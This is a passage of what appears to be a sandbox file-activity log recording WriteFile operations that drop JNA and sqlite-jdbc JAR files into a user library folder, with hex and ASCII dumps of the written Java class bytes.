com/sun/jna/platform/F
ileMonitor. ..................
............./........*.......
..............................
...............

success or wait 6 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 1024 e7 7c da 6a 07 4d db 
8a b5 f8 9c b6 49 23 
a2 d8 8f bb b4 2d f7 
3b b6 db 8f bf e4 98 
15 35 b5 28 6e f8 13 
94 7a 1f dd 5e af f7 8f 
a8 7c 17 ea 5d 4a f3 
e2 af f2 44 0f 13 d2 1d 
3d 69 b2 4e e4 89 9e 
b3 e4 a2 6c 0b b8 9d 
aa 08 ef 42 31 cd 11 
84 25 1d 8e 62 81 07 
9b c2 25 4c a3 03 7c 
8b b8 86 16 1c 3b ac 
a5 f9 19 d1 19 73 cd 
47 80 f4 69 8e 3d 4b 
a7 1f a3 ea cf 71 f6 59 
22 1d 43 33 db 0b 78 
0f ca ea b1 d0 d6 63 
af 96 e2 e9 f5 e3 ee 
19 9c b8 c7 51 aa 55 
c7 0c 50 12 16 77 a6 
b1 d0 bd b3 97 88 f7 
72 8e c4 12 27 2f ee 
65 35 b3 84 ac e0 ee 
65 ae c2 2a 05 77 c3 
ef 3d 00 6f d1 c3 8e 
d2 56 6a bc 9a 23 a6 
22 47 31 1f 3c 65 cb 
c4 b8 bc 5b db 12 5b 
88 6d 19 9b 5a 3d e2 
4a b1 d7 f3 18 da 2b 
d7 71 7b f1 73 1c 2d 
e6 ef 66 56 ac fb 24 f2 
17 39 91 7f 9e 5d 96 
74 e4 b7 1c 6b 68 

.|.j.M......I#.....-.;.......5.
(n...z..^....|..]J....D....=i
.N......l......B1...%..b....%L
..|.....;......s.G..i.=K.....q
.Y".C3..x......c...........Q.U
..P..w........r...'/.e5.....e.
.*.w..=.o....Vj..#."G1.<e....[
..[.m..Z=.J.....+.q{.s.-..fV..
$..9...].t...kh

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 00 37 00 8c 00 18 00 
00 00 0c 00 01 00 06 
00 31 00 1e 00 1f 00 
00 00 20 00 00 00 0b 
00 02 fc 00 1c 07 00 
21 fa 00 1a 00 02 00 
22 00 00 00 02 00 23 
00 1b 00 00 00 0a 00 
01 00 10 00 33 00 1a 
00 0a 50 4b 03 04 0a 
00 00 08 00 00 96 8c 
5e 4f 9e 62 eb 3b 3d 
0e 00 00 3d 0e 00 00 
26 00 00 00 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 46 69 6c 
65 4d 6f 6e 69 74 6f 
72 2e 63 6c 61 73 73 
ca fe ba be 00 00 00 
32 00 ad 07 00 70 0a 
00 1f 00 71 07 00 72 
0a 00 03 00 71 09 00 
01 00 73 07 00 74 0a 
00 06 00 71 09 00 01 
00 75 0a 00 01 00 76 
0a 00 1b 00 77 0a 00 
01 00 78 0a 00 79 00 
7a 0b 00 7b 00 7c 0a 
00 01 00 7d 0b 00 7b 
00 7e 0a 00 01 00 7f 
0b 00 80 00 81 0b 00 
82 00 83 0b 00 82 00 
84 07 00 85 0b 00 14 
00 86 0a 00 06 00 87 
0b 00 80 00 88 0b 00 
80 00 89 

.7.............1....... ......

.....!......".....#...........
3....PK..........^O.b.;=...=..
.&...com/sun/jna/platform/F
ile
Monitor.class.......2....p....
q..r....q....s..t....q....u...
.v....w....x..y.z..{.|....}..{
.~............................
...............

success or wait 3 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 347 30 2a 1d 8c 4a 62 fc 
83 c6 f8 3e af f3 16 c6 
35 36 46 45 36 d1 09 
b1 d1 0d 11 67 64 8e 
d1 c9 db 73 20 4e 0c 
24 69 7d 9b af 04 81 
f8 21 5f 0a 79 20 5a 
33 10 9b dc 10 37 13 
e2 23 84 b8 a5 00 88 
bb 34 c4 5b ce 73 48 
20 7c 19 88 b6 4c dc 
7e c8 0d 71 07 21 3e 
49 88 3b 0b 80 b0 be 
34 fc 98 ef 9c 69 77 
71 f6 04 7a dd 10 77 
13 e2 1e 42 dc 5b 00 
c4 3f 6a 88 9f e2 67 
d3 ef a2 79 02 9b dd 
10 07 08 f1 15 42 1c 
2c 00 e2 9f 34 c4 cf f1 
8b 7c 21 65 d7 0c 66 
d9 16 37 c6 93 0c a9 
34 43 6a a2 80 90 fa 
67 8d f1 36 de b1 31 
86 ed 8f 3e b3 28 ba 
de 7b 04 d7 3e bb 2f 
18 b1 90 ea bd 13 b8 
ce 8d 35 49 9c a7 59 
3c 9e c9 29 1e b3 1c 
ac 59 0e d6 2c 62 7d 
51 6b 32 4b e7 b7 3c 
c8 7f 89 5f d9 a8 d7 
13 d5 6b a3 a6 71 3d 
21 25 67 a2 99 1d de 
e0 46 7d 1e 33 3c 2f 
10 f5 c5 9c 1d 9e 0c 
55 

0*..Jb....>....56FE6......gd..
..s N.$i}.....!_.y Z3....7..#.
.....4.[.sH |...L.~..q.!>I.;..
..4....iwq..z..w...B.[..?j...g
...y........B.,...4....|!e..f.
.7....4Cj....g..6..1...>.(..{.
.>./.........5I..Y<..)....Y..,
b}Qk2K..
<..._.....k..q=!%g....
.F}.3</.......U

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 01 00 0e 4c 6a 61 76 
61 2f 69 6f 2f 46 69 6c 
65 3b 01 00 12 28 4c 
6a 61 76 61 2f 69 6f 2f 
46 69 6c 65 3b 49 29 
56 01 00 04 6d 61 73 
6b 01 00 09 72 65 63 
75 72 73 69 76 65 01 
00 01 5a 01 00 0b 72 
65 6d 6f 76 65 57 61 
74 63 68 01 00 04 66 
69 6c 65 01 00 0d 53 
74 61 63 6b 4d 61 70 
54 61 62 6c 65 01 00 
06 6e 6f 74 69 66 79 
01 00 2f 28 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 46 69 
6c 65 4d 6f 6e 69 74 
6f 72 24 46 69 6c 65 
45 76 65 6e 74 3b 29 
56 01 00 08 6c 69 73 
74 65 6e 65 72 01 00 
2f 4c 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 46 69 6c 65 4d 6f 
6e 69 74 6f 72 24 46 
69 6c 65 4c 69 73 74 
65 6e 65 72 3b 01 00 
01 65 01 00 2c 4c 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 46 69 
6c 65 4d 6f 6e 69 

...Ljava/io/File;...(Ljava/io/
File;I)V...mask...recursive..
.
Z...removeWatch...file...St
ack
MapTable...notify../(Lcom/
sun/
jna/platform/FileMonitor$Fi
leE
vent;)V...listener../Lcom/su
n/
jna/platform/FileMonitor$Fi
leL
istener;...e..,Lcom/sun/jna/
platform/FileMoni

success or wait 27 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 69 73 74 01 00 16 4c 
6f 63 61 6c 56 61 72 
69 61 62 6c 65 54 79 
70 65 54 61 62 6c 65 
01 00 12 72 65 6d 6f 
76 65 46 69 6c 65 4c 
69 73 74 65 6e 65 72 
01 00 01 78 01 00 08 
66 69 6e 61 6c 69 7a 
65 01 00 0b 77 61 74 
63 68 65 64 46 69 6c 
65 01 00 0b 67 65 74 
49 6e 73 74 61 6e 63 
65 01 00 24 28 29 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 46 
69 6c 65 4d 6f 6e 69 
74 6f 72 3b 01 00 0a 
53 6f 75 72 63 65 46 
69 6c 65 01 00 10 46 
69 6c 65 4d 6f 6e 69 
74 6f 72 2e 6a 61 76 
61 01 00 20 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 46 69 6c 
65 4d 6f 6e 69 74 6f 
72 0c 00 45 00 46 01 
00 11 6a 61 76 61 2f 
75 74 69 6c 2f 48 61 
73 68 4d 61 70 0c 00 
3e 00 3f 01 00 13 6a 
61 76 61 2f 75 74 69 
6c 2f 41 72 72 61 79 
4c 69 73 74 0c 00 42 
00 43 

ist...LocalVariableTypeTab
le..
.removeFileListener...x...fin
a
lize...watchedFile...getInst
an
ce..$()Lcom/sun/jna/platfor
m/F
ileMonitor;...SourceFile...Fi
leMonitor.java.. 
com/sun/jna/pl
atform/FileMonitor..E.F...ja
va
/util/HashMap..>.?...java/ut
il/ArrayList..B.C

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 00 00 00 02 00 29 00 
19 00 2a 00 27 00 01 
00 28 00 00 00 02 00 
2b 00 19 00 2c 00 27 
00 01 00 28 00 00 00 
02 00 2d 00 19 00 2e 
00 27 00 01 00 28 00 
00 00 02 00 2f 00 19 
00 30 00 27 00 01 00 
28 00 00 00 02 00 31 
00 19 00 32 00 27 00 
01 00 28 00 00 00 02 
00 33 00 19 00 34 00 
27 00 01 00 28 00 00 
00 02 00 35 00 19 00 
36 00 27 00 01 00 28 
00 00 00 02 00 37 00 
19 00 38 00 27 00 01 
00 28 00 00 00 02 00 
39 00 19 00 3a 00 27 
00 01 00 28 00 00 00 
02 00 3b 00 19 00 3c 
00 27 00 01 00 28 00 
00 00 02 00 3d 00 12 
00 3e 00 3f 00 01 00 
40 00 00 00 02 00 41 
00 02 00 42 00 43 00 
01 00 40 00 00 00 02 
00 44 00 0d 00 01 00 
45 00 46 00 01 00 47 
00 00 00 4d 00 03 00 
01 00 00 00 1b 2a b7 
00 02 2a bb 00 03 59 
b7 00 04 b5 00 05 2a 
bb 00 06 59 b7 00 07 
b5 00 08 b1 00 00 00 
02 00 48 

.....)...*.'...(.....+...,.'...(.....-

.....'...(...../...0.'...
(.....1...2.'...(.....3...4.'...
(.....5...6.'...(.....7...8.'...
(.....9...:.'...(.....;...<.'...
(.....=...>.?...@....
.A...B.C...@.....D.....E.F...G
...M........*...*...Y......*..
.Y............H

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 2a 2b 11 01 ff b6 00 
09 b1 00 00 00 02 00 
48 00 00 00 0a 00 02 
00 00 00 55 00 08 00 
56 00 49 00 00 00 16 
00 02 00 00 00 09 00 
4a 00 4b 00 00 00 00 
00 09 00 54 00 55 00 
01 00 4e 00 00 00 04 
00 01 00 4f 00 01 00 
53 00 56 00 02 00 47 
00 00 00 4d 00 04 00 
03 00 00 00 0b 2a 2b 
1c 2b b6 00 0a b6 00 
0b b1 00 00 00 02 00 
48 00 00 00 0a 00 02 
00 00 00 59 00 0a 00 
5a 00 49 00 00 00 20 
00 03 00 00 00 0b 00 
4a 00 4b 00 00 00 00 
00 0b 00 54 00 55 00 
01 00 00 00 0b 00 57 
00 27 00 02 00 4e 00 
00 00 04 00 01 00 4f 
00 01 00 53 00 4d 00 
02 00 47 00 00 00 67 
00 04 00 04 00 00 00 
17 2a b4 00 05 2b 1c 
b8 00 0c b9 00 0d 03 
00 57 2a 2b 1c 1d b6 
00 0e b1 00 00 00 02 
00 48 00 00 00 0e 00 
03 00 00 00 5d 00 0f 
00 5e 00 16 00 5f 00 
49 00 00 00 2a 00 04 
00 00 00 17 00 4a 00 
4b 00 00 

*+............H.........U...V.
I...........J.K.......T.U...N.
......O...S.V...G...M........*
+.+............H.........Y...Z.I... 
.......J.K.......T.U....
...W.'...N.......O...S.M...G..
.g........*...+.........W*+...
........H.........]...^..._.I.
..*.......J.K..

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 2e a7 2c 1b cb 84 56 
8c 9b 67 84 2a a8 d2 
5b fb 71 28 6a 4e b6 
71 89 cc 37 43 d0 36 
72 26 59 37 f2 e3 4d 
b2 a9 3c fd 99 86 f5 fc 
0f 50 4b 03 04 0a 00 
00 08 08 00 8c 8c 5e 
4f f1 79 2a 84 73 02 
00 00 bf 04 00 00 1a 
00 00 00 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 4e 61 74 69 76 65 
24 31 2e 63 6c 61 73 
73 7d 53 5b 53 d3 40 
14 fe 96 96 a6 84 28 
50 01 41 11 03 54 4d 
b9 a5 e0 9d e0 05 3b 
a8 38 b5 ce 08 e2 f8 
b8 4d d7 36 b8 24 4c 
92 82 8f ce e8 1f d2 
87 e2 e8 8c 3f c0 1f 
e5 78 92 16 19 7a f1 
61 cf d9 3d fb 9d db 
b7 67 7f ff f9 f1 0b c0 
2a 36 54 9c c3 8c 0a 
1d b3 03 98 43 56 c1 
35 15 49 cc a4 71 3d 
d2 37 22 61 a4 91 8b 
f4 bc 8a 05 2c 2a 58 
52 b0 ac 20 cf 90 5a 
77 5c 27 7c c8 90 30 
72 bb 0c c9 82 57 11 
0c 43 45 c7 15 a5 fa 
7e 59 f8 3b bc 2c c9 
92 29 7a 36 97 bb dc 
77 

..,...V..g.*..[.q(jN.q..7C.6r&
Y7..M..<......PK..........^O.y
*.s...........com/sun/jna/Nati
ve$1.class}S[S.@......
(P.A..TM
......;.8......M.6.$L.........
..?...x...z.a..=....g......*6T
........CV.5.I..q=.7"a.......,
*XR.. ..Zw\'|..0r....W..CE....
~Y.;.,..)z6...w

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 00 24 00 01 00 14 00 
01 00 25 06 09 50 4b 
03 04 0a 00 00 08 00 
00 96 8c 5e 4f a9 c2 
61 b7 d9 00 00 00 d9 
00 00 00 26 00 00 00 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 46 
69 6c 65 55 74 69 6c 
73 24 31 2e 63 6c 61 
73 73 ca fe ba be 00 
00 00 32 00 0b 07 00 
07 07 00 09 01 00 0a 
53 6f 75 72 63 65 46 
69 6c 65 01 00 0e 46 
69 6c 65 55 74 69 6c 
73 2e 6a 61 76 61 01 
00 0f 45 6e 63 6c 6f 
73 69 6e 67 4d 65 74 
68 6f 64 07 00 0a 01 
00 20 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 46 69 6c 65 55 
74 69 6c 73 24 31 01 
00 0c 49 6e 6e 65 72 
43 6c 61 73 73 65 73 
01 00 10 6a 61 76 61 
2f 6c 61 6e 67 2f 4f 62 
6a 65 63 74 01 00 1e 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 46 
69 6c 65 55 74 69 6c 
73 10 20 00 01 00 02 

.$.......%..PK..........^O..a.

........&...com/sun/jna/platfo
rm/FileUtils$1.class.......2..
.........SourceFile...FileUtil
s.java...EnclosingMethod...
.. 
com/sun/jna/platform/FileU
tils
$1...InnerClasses...java/la
ng/
Object...com/sun/jna/platfo
rm/FileUtils. ....

success or wait 2 6DD59FBC WriteFile
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 2f 46 69 6c 65 55 74 
69 6c 73 24 44 65 66 
61 75 6c 74 46 69 6c 
65 55 74 69 6c 73 2e 
63 6c 61 73 73 ca fe 
ba be 00 00 00 32 00 
79 0a 00 1e 00 47 0a 
00 1f 00 47 07 00 48 
08 00 49 0a 00 4a 00 
4b 0a 00 03 00 4c 08 
00 4d 0a 00 03 00 4e 
0a 00 03 00 4f 08 00 
50 08 00 51 08 00 52 
0a 00 4a 00 53 0a 00 
1e 00 54 07 00 55 08 
00 56 0a 00 0f 00 4c 
07 00 57 0a 00 12 00 
47 0a 00 03 00 58 0a 
00 03 00 59 0b 00 5a 
00 5b 0b 00 5a 00 5c 
07 00 5d 0a 00 18 00 
47 08 00 5e 0a 00 18 
00 5f 0a 00 18 00 60 
0a 00 18 00 61 07 00 
62 07 00 63 01 00 06 
3c 69 6e 69 74 3e 01 
00 03 28 29 56 01 00 
04 43 6f 64 65 01 00 
0f 4c 69 6e 65 4e 75 
6d 62 65 72 54 61 62 
6c 65 01 00 12 4c 6f 
63 61 6c 56 61 72 69 
61 62 6c 65 54 61 62 
6c 65 01 00 04 74 68 
69 73 01 00 10 44 65 
66 61 75 6c 74 46 69 
6c 65 55 

/FileUtils$DefaultFileUtils.c
lass.......2.y....G....G..H..I.
.J.K....L..M....N....O..P..Q..
R..J.S....T..U..V....L..W....G
....X....Y..Z.[..Z.\..]....G..
^...._....`....a..b..c...<init>...
()V...Code...LineNumberTa
b
le...LocalVariableTable...th
is...DefaultFileU

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 347 cd c3 fd b2 74 b7 45 
d9 22 4b 77 c9 31 84 
b5 23 5c 53 ed 9b 46 
cd af 99 94 7b ff 3f 74 
9b c2 37 eb 32 3d a7 
d2 31 ed ba b3 47 c0 
ad 4c 69 57 d4 45 c1 
12 76 b5 f0 ac bc 2b 
0d bf f8 97 c5 95 2f 2d 
32 15 36 a4 5f 73 2a 
c5 17 ad e0 6c ab 89 
21 76 e0 3a 47 c7 2a 
b7 90 c3 f8 7e 40 c6 
30 74 79 20 aa 40 b8 
55 aa a0 27 24 24 43 
c7 96 2f 8c bd 0d 71 
10 94 7b 7e ad 0f 38 
c6 38 1e 32 24 56 8f 
0c 79 e0 9b 8e ed 35 
f6 5b ce a1 6b c8 a7 
a6 6a 4d b2 d1 86 69 
45 4b fd 5c b5 0d cb 
f1 4c bb da 88 cc f1 
48 c7 02 16 75 b4 a3 
43 47 27 ba 74 a4 50 
d4 b1 84 c7 3a ae 63 
80 a1 37 ac a7 0c a9 
ff f3 64 98 68 ad 6f 9d 
fa 6e 08 95 da da f9 f0 
d1 50 0c 5f 31 12 0c 
03 97 b5 89 da 73 71 
b4 5d 73 9d 57 cd 91 
68 cd 90 a0 de b1 6d 
10 c6 36 5f cb 4a e9 
7c 5e f3 a1 e3 48 b7 
1a 3e c6 d1 8c 9a 

....t.E."Kw.1..#\S..F....{.?t.

.7.2=..1...G..LiW.E..v....+...

.../-2.6._s*....l..!v.:G.*....
~@.0ty .@.U..'$$C../...q..
{~..8.8.2$V..y....5.
[..k...jM...iE
K.\....L.....H...u..CG'.t.P...
.:.c..7......d.h.o..n.......P.
_1.......sq.]s.W..h.....m..6_.
J.|^...H..>....

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 6c 64 65 72 01 00 2a 
54 68 65 20 66 6f 6c 
6c 6f 77 69 6e 67 20 
66 69 6c 65 73 20 63 
6f 75 6c 64 20 6e 6f 
74 20 62 65 20 74 72 
61 73 68 65 64 3a 20 
0c 00 75 00 76 0c 00 
75 00 77 0c 00 78 00 
6e 01 00 2f 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 6c 61 74 66 6f 
72 6d 2f 46 69 6c 65 
55 74 69 6c 73 24 44 
65 66 61 75 6c 74 46 
69 6c 65 55 74 69 6c 
73 01 00 1e 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 46 69 6c 
65 55 74 69 6c 73 01 
00 0e 6a 61 76 61 2f 
75 74 69 6c 2f 4c 69 
73 74 01 00 20 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 46 69 
6c 65 55 74 69 6c 73 
24 31 01 00 10 6a 61 
76 61 2f 6c 61 6e 67 
2f 53 79 73 74 65 6d 
01 00 0b 67 65 74 50 
72 6f 70 65 72 74 79 
01 00 26 28 4c 6a 61 
76 61 2f 6c 61 6e 67 
2f 53 74 72 69 6e 67 
3b 29 

lder..*The following files 
could not be trashed: 
..u.v..u.w.
.x.n../com/sun/jna/platform/
Fi
leUtils$DefaultFileUtils...co
m
/sun/jna/platform/FileUtils..
.java/util/List.. 
com/sun/jna/p
latform/FileUtils$1...java/la
ng/System...getProperty..&
(Ljava/lang/String;)

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 28 4c 6a 61 76 61 2f 
6c 61 6e 67 2f 53 74 
72 69 6e 67 3b 4c 6a 
61 76 61 2f 6c 61 6e 
67 2f 53 74 72 69 6e 
67 3b 29 4c 6a 61 76 
61 2f 6c 61 6e 67 2f 
53 74 72 69 6e 67 3b 
01 00 07 67 65 74 4e 
61 6d 65 01 00 14 28 
29 4c 6a 61 76 61 2f 
6c 61 6e 67 2f 53 74 
72 69 6e 67 3b 01 00 
08 72 65 6e 61 6d 65 
54 6f 01 00 11 28 4c 
6a 61 76 61 2f 69 6f 2f 
46 69 6c 65 3b 29 5a 
01 00 03 61 64 64 01 
00 15 28 4c 6a 61 76 
61 2f 6c 61 6e 67 2f 4f 
62 6a 65 63 74 3b 29 
5a 01 00 04 73 69 7a 
65 01 00 03 28 29 49 
01 00 06 61 70 70 65 
6e 64 01 00 2d 28 4c 
6a 61 76 61 2f 6c 61 
6e 67 2f 53 74 72 69 
6e 67 3b 29 4c 6a 61 
76 61 2f 6c 61 6e 67 
2f 53 74 72 69 6e 67 
42 75 69 6c 64 65 72 
3b 01 00 2d 28 4c 6a 
61 76 61 2f 6c 61 6e 
67 2f 4f 62 6a 65 63 
74 3b 29 4c 6a 61 76 
61 2f 6c 61 6e 67 2f 
53 

(Ljava/lang/String;Ljava/la
ng/
String;)Ljava/lang/String;...
getName...
()Ljava/lang/String;.
..renameTo...
(Ljava/io/File;)Z...add...
(Ljava/lang/Object;)Z
...size...()I...append..-(Ljav
a/lang/String;)Ljava/lang/St
ringBuilder;..-
(Ljava/lang/Objec
t;)Ljava/lang/S

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 00 01 00 0f 10 00 00 
20 00 42 00 01 00 22 
00 00 00 39 00 01 00 
02 00 00 00 05 2a b7 
00 01 b1 00 00 00 02 
00 23 00 00 00 06 00 
01 00 00 00 44 00 24 
00 00 00 16 00 02 00 
00 00 05 00 25 00 28 
00 00 00 00 00 05 00 
43 00 44 00 01 00 02 
00 45 00 00 00 02 00 
46 00 27 00 00 00 12 
00 02 00 1e 00 1f 00 
26 00 0a 00 41 00 00 
00 00 10 08 50 4b 03 
04 0a 00 00 08 00 00 
96 8c 5e 4f 40 ad b0 
65 69 04 00 00 69 04 
00 00 2b 00 00 00 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 46 69 
6c 65 55 74 69 6c 73 
24 48 6f 6c 64 65 72 
2e 63 6c 61 73 73 ca 
fe ba be 00 00 00 32 
00 3d 0a 00 0f 00 22 
08 00 23 0a 00 24 00 
25 08 00 26 0a 00 27 
00 28 07 00 29 0a 00 
06 00 22 09 00 0e 00 
2a 08 00 2b 07 00 2c 
0a 00 0a 00 22 07 00 
2e 0a 00 0c 00 30 07 
00 31 07 00 32 01 00 
08 49 

....... .B..."...9........*...

......#.........D.$...........%.
(.......C.D.....E.....F.'...
........&...A......PK.........
.^O@..ei...i...+...com/sun/jn
a
/platform/FileUtils$Holder.c
lass.......2.=...."..#..$.%..&..
'.(..)...."....*..+..,...."...
....0..1..2...I

success or wait 227 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 f1 2e de 13 b0 70 26 
b3 4e c5 1c 22 bd b8 
eb fb 32 ea 11 20 ad 
64 7c 80 53 12 c6 65 
9c c6 19 12 4e c6 59 
9c 93 71 1e 17 28 4e 
81 fa 90 71 91 2f 95 
3c 88 4d c6 25 5c 96 
f1 21 2e c8 b8 82 ab 
a4 88 df bf 51 4b d6 
cb f8 08 1f cb f8 04 a7 
64 7c 8a cf b8 f9 b9 
8c 2f 70 4d c6 97 f8 
4a c6 d7 f8 26 93 63 
36 70 01 15 0f 11 87 
67 ff 2d 55 b8 4f 8f 5b 
3e 4d f7 f9 05 54 67 
6d 8f c5 d4 a8 12 db 
64 44 93 07 e9 22 6f 
1d 0d ab 09 4b 8b eb 
32 be c3 75 19 df e3 
1a 55 a9 8c 1f f0 a3 
80 e6 ff 7f 19 05 ac 98 
63 f3 8c a7 7b 66 58 
9a 5f 25 19 2a b3 9a 
16 5d ad 1c e2 73 f6 
85 2c 95 4e 8b 1b 12 
7e 12 50 3b 57 5d d6 
34 d9 35 57 35 bb 17 
95 97 12 0e ab a6 59 
b3 7a d5 2a 01 eb 1f 
b9 b9 e6 75 79 87 9f 
87 73 db 2d b4 47 b5 
48 59 7f b6 13 4d b5 
e4 a0 b3 7d dc 5a 1a 
13 f5 aa 1c f7 0c 56 

.....p&.N.."....2.. .d|.S..e..

..N.Y..q..(N...q./.<.M.%\..!..

.......QK.........d|....../pM.

..J...&.c6p.....g.-U.O.
[>M...T
gm......dD..."o....K..2..u....
U.............c...{fX._%.*...]
...s..,.N...~.P;W].4.5W5......
..Y.z.*......uy...s.-.G.HY...M
....}.Z.......V

success or wait 1 6DD59FBC WriteFile
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 8a bb 1a be 30 a0 e1 
4b 0d b3 31 dc 33 a0 
e3 ae 5a 7f a5 e1 7e 
0c 0f 0c 0c a8 f5 d7 
98 8b e1 1b 03 f3 58 
88 61 d1 c0 43 3c 52 
4e 4b 31 2c 1b 58 c1 
63 0d 05 0d 4f 18 fa 
ee 09 47 f8 f7 19 7a 
d2 99 0d 86 e8 bc bb 
c3 19 ce 17 84 c3 57 
eb d5 6d ee ad 5b db 
36 21 89 82 5b b2 ec 
0d cb 13 6a dd 06 a3 
7e 45 48 0a 9d db 5c 
67 30 97 1d 87 7b f3 
b6 25 25 27 70 b8 50 
72 ab 39 59 77 72 bb 
8e 95 5b b5 7c d1 e0 
e3 e4 38 cb d0 5f e6 
fe a6 70 76 dc e6 f2 
02 c3 60 ba b0 6b 35 
ac 9c d5 f4 73 21 3a 
9b 59 61 60 4d 86 0b 
5d 3b 0c c6 e2 af 25 
5e f3 85 eb 50 92 73 
c4 34 ef 56 6b ae c3 
1d 5f 91 25 db 64 b6 
e5 94 73 4f b7 77 79 
c9 0f d9 5c 25 a1 6b 
8b 36 4a 54 c1 51 9a 
0e 19 6d 0d 14 7d ab 
f4 cb 13 ab 16 a8 a5 
ae 53 f2 a2 5b f7 4a fc 
a1 50 ea fb 43 51 59 
15 6c e2 12 3e 36 91 
46 46 

....0..K..1.3...Z...~.........

....X.a..C<RNK1,.X.c...O....
G...z.............W..m..[.6!..[.
....j...~EH...\g0...{..%%'p.Pr
.9Ywr...[.|....8.._...pv.....`
..k5....s!:.Ya`M..];....%^...P
.s.4.Vk..._.%.d...sO.wy...\
%.k.6JT.Q...m..}.........S..
[.J..P..CQY.l..>6.FF

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 72 69 61 62 6c 65 54 
61 62 6c 65 01 00 04 
74 68 69 73 01 00 06 
48 6f 6c 64 65 72 01 
00 0c 49 6e 6e 65 72 
43 6c 61 73 73 65 73 
01 00 27 4c 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 46 69 6c 
65 55 74 69 6c 73 24 
48 6f 6c 64 65 72 3b 
01 00 08 3c 63 6c 69 
6e 69 74 3e 01 00 02 
6f 73 01 00 12 4c 6a 
61 76 61 2f 6c 61 6e 
67 2f 53 74 72 69 6e 
67 3b 01 00 0d 53 74 
61 63 6b 4d 61 70 54 
61 62 6c 65 07 00 33 
01 00 0a 53 6f 75 72 
63 65 46 69 6c 65 01 
00 0e 46 69 6c 65 55 
74 69 6c 73 2e 6a 61 
76 61 0c 00 12 00 13 
01 00 07 6f 73 2e 6e 
61 6d 65 07 00 34 0c 
00 35 00 36 01 00 07 
57 69 6e 64 6f 77 73 
07 00 33 0c 00 37 00 
38 01 00 27 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 77 69 6e 
33 32 2f 57 33 32 46 
69 6c 65 55 74 69 6c 
73 0c 00 

riableTable...this...Holder...
InnerClasses..'Lcom/sun/jn
a/pl
atform/FileUtils$Holder;...
<cl
init>...os...Ljava/lang/String
;...StackMapTable..3...Sou
rceF
ile...FileUtils.java........os
.name..4..5.6...Windows..3
..7.
8..'com/sun/jna/platform/wi
n32/W32FileUtils..

success or wait 7 6DD59FBC WriteFile
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 72 67 2f 73 71 6c 69 
74 65 2f 64 61 74 65 
2f 46 61 73 74 44 61 
74 65 50 61 72 73 65 
72 24 43 6f 70 79 51 
75 6f 74 65 64 53 74 
72 61 74 65 67 79 2e 
63 6c 61 73 73 95 54 
ed 4e 13 41 14 3d b3 
2d dd 76 59 6c a5 a2 
7c 08 56 2d d0 16 a4 
2d f8 f1 83 c6 44 4b 
40 4c 25 42 15 13 12 
4d 86 dd b1 8c 2e dd 
ba bb 35 f2 36 3e 00 
7f 4c fc 20 fe f0 01 7c 
26 63 bc b3 2d a0 36 
d2 98 cd ee de 3b 73 
e6 9c 7b ef dc 99 ef 3f 
bf 7e 03 b0 88 3b 06 
74 64 12 88 e1 aa 81 
6b b8 6e 20 8b 69 03 
33 98 d5 91 d3 91 67 
18 7c e9 7a fb 3c 58 
95 c2 b1 19 86 6b af 
f8 5b 5e 74 78 b3 51 
ac 07 9e 6c 36 96 19 
62 15 d9 94 c1 5d 86 
91 5c ef 74 7e 9b 21 
5a 75 6d c1 90 ac c9 
a6 d8 68 ef ef 0a ef 09 
df 75 84 a2 73 2d ee 
6c 73 4f 2a bf 3b 18 
0d f6 a4 4f 73 55 b7 
75 b0 d9 76 03 61 13 
15 0f 44 e3 80 c1 5c 

rg/sqlite/date/FastDatePar
ser$
